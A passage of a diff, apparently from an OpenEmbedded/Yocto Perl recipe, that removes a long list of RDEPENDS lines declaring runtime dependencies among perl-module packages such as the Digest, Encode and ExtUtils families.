-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-warnings"
-RDEPENDS_perl-module-db += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-warnings"
-RDEPENDS_perl-module-devel-peek += "perl-module-exporter"
-RDEPENDS_perl-module-devel-peek += "perl-module-xsloader"
-RDEPENDS_perl-module-devel-ppport += "perl-module-file-find"
-RDEPENDS_perl-module-devel-ppport += "perl-module-getopt-long"
-RDEPENDS_perl-module-devel-ppport += "perl-module-strict"
-RDEPENDS_perl-module-devel-ppport += "perl-module-vars"
-RDEPENDS_perl-module-devel-selfstubber += "perl-module-selfloader"
-RDEPENDS_perl-module-diagnostics += "perl-module-config"
-RDEPENDS_perl-module-diagnostics += "perl-module-getopt-std"
-RDEPENDS_perl-module-diagnostics += "perl-module-strict"
-RDEPENDS_perl-module-diagnostics += "perl-module-text-tabs"
-RDEPENDS_perl-module-digest-base += "perl-module-mime-base64"
-RDEPENDS_perl-module-digest-base += "perl-module-strict"
-RDEPENDS_perl-module-digest-base += "perl-module-vars"
-RDEPENDS_perl-module-digest-file += "perl-module-digest"
-RDEPENDS_perl-module-digest-file += "perl-module-exporter"
-RDEPENDS_perl-module-digest-file += "perl-module-strict"
-RDEPENDS_perl-module-digest-file += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-md5 += "perl-module-exporter"
-RDEPENDS_perl-module-digest-md5 += "perl-module-strict"
-RDEPENDS_perl-module-digest-md5 += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-xsloader"
-RDEPENDS_perl-module-digest += "perl-module-strict"
-RDEPENDS_perl-module-digest += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-sha += "perl-module-dynaloader"
-RDEPENDS_perl-module-digest-sha += "perl-module-exporter"
-RDEPENDS_perl-module-digest-sha += "perl-module-fcntl"
-RDEPENDS_perl-module-digest-sha += "perl-module-integer"
-RDEPENDS_perl-module-digest-sha += "perl-module-strict"
-RDEPENDS_perl-module-digest-sha += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-warnings"
-RDEPENDS_perl-module-digest-sha += "perl-module-xsloader"
-RDEPENDS_perl-module-dynaloader += "perl-module-config"
-RDEPENDS_perl-module-encode-alias += "perl-module-constant"
-RDEPENDS_perl-module-encode-alias += "perl-module-encode"
-RDEPENDS_perl-module-encode-alias += "perl-module-exporter"
-RDEPENDS_perl-module-encode-alias += "perl-module-strict"
-RDEPENDS_perl-module-encode-alias += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-encode"
-RDEPENDS_perl-module-encode-byte += "perl-module-strict"
-RDEPENDS_perl-module-encode-byte += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-exporter"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-strict"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-parent"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-utf8"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-vars"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode-cn-hz"
-RDEPENDS_perl-module-encode-cn += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-config += "perl-module-strict"
-RDEPENDS_perl-module-encode-config += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-encode"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-strict"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-encoder += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoder += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoder += "perl-module-exporter"
-RDEPENDS_perl-module-encode-encoder += "perl-module-overload"
-RDEPENDS_perl-module-encode-encoder += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoder += "perl-module-warnings"
-RDEPENDS_perl-module-encode-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-encode"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-parent"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-strict"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-utf8"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-vars"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-guess += "perl-module-bytes"
-RDEPENDS_perl-module-encode-guess += "perl-module-constant"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode-unicode"
-RDEPENDS_perl-module-encode-guess += "perl-module-parent"
-RDEPENDS_perl-module-encode-guess += "perl-module-strict"
-RDEPENDS_perl-module-encode-guess += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-vars"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-bytes"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode-jp-jis7"
-RDEPENDS_perl-module-encode-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-parent"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
-RDEPENDS_perl-module-encode-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-encode"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-bytes"
-RDEPENDS_perl-module-encode += "perl-module-constant"
-RDEPENDS_perl-module-encode += "perl-module-encode-alias"
-RDEPENDS_perl-module-encode += "perl-module-encode-config"
-RDEPENDS_perl-module-encode += "perl-module-encode-configlocal-pm"
-RDEPENDS_perl-module-encode += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode += "perl-module-exporter"
-RDEPENDS_perl-module-encode += "perl-module-parent"
-RDEPENDS_perl-module-encode += "perl-module-storable"
-RDEPENDS_perl-module-encode += "perl-module-strict"
-RDEPENDS_perl-module-encode += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-symbol += "perl-module-encode"
-RDEPENDS_perl-module-encode-symbol += "perl-module-strict"
-RDEPENDS_perl-module-encode-symbol += "perl-module-warnings"
-RDEPENDS_perl-module-encode-symbol += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-tw += "perl-module-encode"
-RDEPENDS_perl-module-encode-tw += "perl-module-strict"
-RDEPENDS_perl-module-encode-tw += "perl-module-warnings"
-RDEPENDS_perl-module-encode-tw += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode += "perl-module-warnings"
-RDEPENDS_perl-module-encode-unicode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-re"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-warnings"
-RDEPENDS_perl-module-encoding += "perl-module-config"
-RDEPENDS_perl-module-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encoding += "perl-module-filter-util-call"
-RDEPENDS_perl-module-encoding += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-encoding += "perl-module-posix"
-RDEPENDS_perl-module-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encoding += "perl-module-utf8"
-RDEPENDS_perl-module-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-strict"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-warnings"
-RDEPENDS_perl-module-english += "perl-module-exporter"
-RDEPENDS_perl-module-env += "perl-module-config"
-RDEPENDS_perl-module-env += "perl-module-tie-array"
-RDEPENDS_perl-module-errno += "perl-module-exporter"
-RDEPENDS_perl-module-errno += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-version"
-RDEPENDS_perl-module-experimental += "perl-module-warnings"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-exporter"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-strict"
-RDEPENDS_perl-module-exporter += "perl-module-exporter-heavy"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-temp"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-command"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-install"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-getopt-long"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-test-harness"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-command += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-text-wrap"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-filehandle"
-RDEPENDS_perl-module-extutils-constant += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-posix"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-embed += "perl-module-config"
-RDEPENDS_perl-module-extutils-embed += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-embed += "perl-module-getopt-std"
-RDEPENDS_perl-module-extutils-embed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-config"
-RDEPENDS_perl-module-extutils-installed += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-installed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-vars"
-RDEPENDS_perl-module-extutils-install += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-install += "perl-module-config"
-RDEPENDS_perl-module-extutils-install += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-install += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-install += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-compare"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-install += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-config"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-base"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-b"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-my"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-version"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-vars"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-config"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-strict"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-extutils-embed"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-config"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-config"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-macos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-encode"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-vars"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
